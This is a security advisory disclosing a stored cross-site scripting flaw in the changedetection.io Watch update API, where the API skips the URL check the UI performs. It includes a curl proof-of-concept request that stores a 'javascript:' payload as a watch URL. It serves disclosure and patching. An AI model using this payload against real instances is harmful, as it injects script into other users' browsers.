A Stored Cross Site Scripting is present in the changedetection.io Watch update API due to unsufficient security checks.
Tested on changedetection.io version v0.50.24
REPOSITORY TAG IMAGE ID CREATED SIZE
ghcr.io/dgtlmoon/changedetection.io latest 0367276509a0 23 hours ago 599MB
When a user tries to add an unsafe URL as a Watch in the changedetection.io UI, the action is blocked with the error message "Watch protocol is not permitted by SAFEPROTOCOLREGEX or incorrect URL format".
This is catched by the function validate_url(test_url).
def validate_url(test_url):
# ...
from .model.Watch import is_safe_url
if not is_safe_url(test_url):
# This should be wtforms.validators.
raise ValidationError('Watch protocol is not permitted by SAFE_PROTOCOL_REGEX or incorrect URL format')
When instead the Watch API is used, this check is not performed resulting in unsafe URLs added as Watch.
Update an existing watch with an unsafe URL
curl -X PUT "http://example.site/api/v1/watch/1242e1c5-d59e-4352-0078-203a55b21282" \
-H "x-api-key: XXX" \
-H "Content-Type: application/json" \
-d '{
"url": "javascript:alert(document.domain)",
"title": "XSS PoC",
"paused": false
}'
Two scenarios are possibile:
When the user clicks on Preview and then on the malicious link, the JavaScript malicious code is executed.
<img width="1200" height="643" alt="poc1" src="https://github.com/user-attachments/assets/db81e0c7-b6d3-4332-b15d-a688a48c3227" /> <br> <img width="1200" height="643" alt="poc2" src="https://github.com/user-attachments/assets/e704b37c-d339-4322-9fc0-ad50dd86b31d" />
Edoardo Ottavianelli @edoardottt
{
"cwe_ids": [
"CWE-79"
],
"nvd_published_at": "2025-11-10T22:15:36Z",
"github_reviewed": true,
"severity": "LOW",
"github_reviewed_at": "2025-11-12T21:24:57Z"
}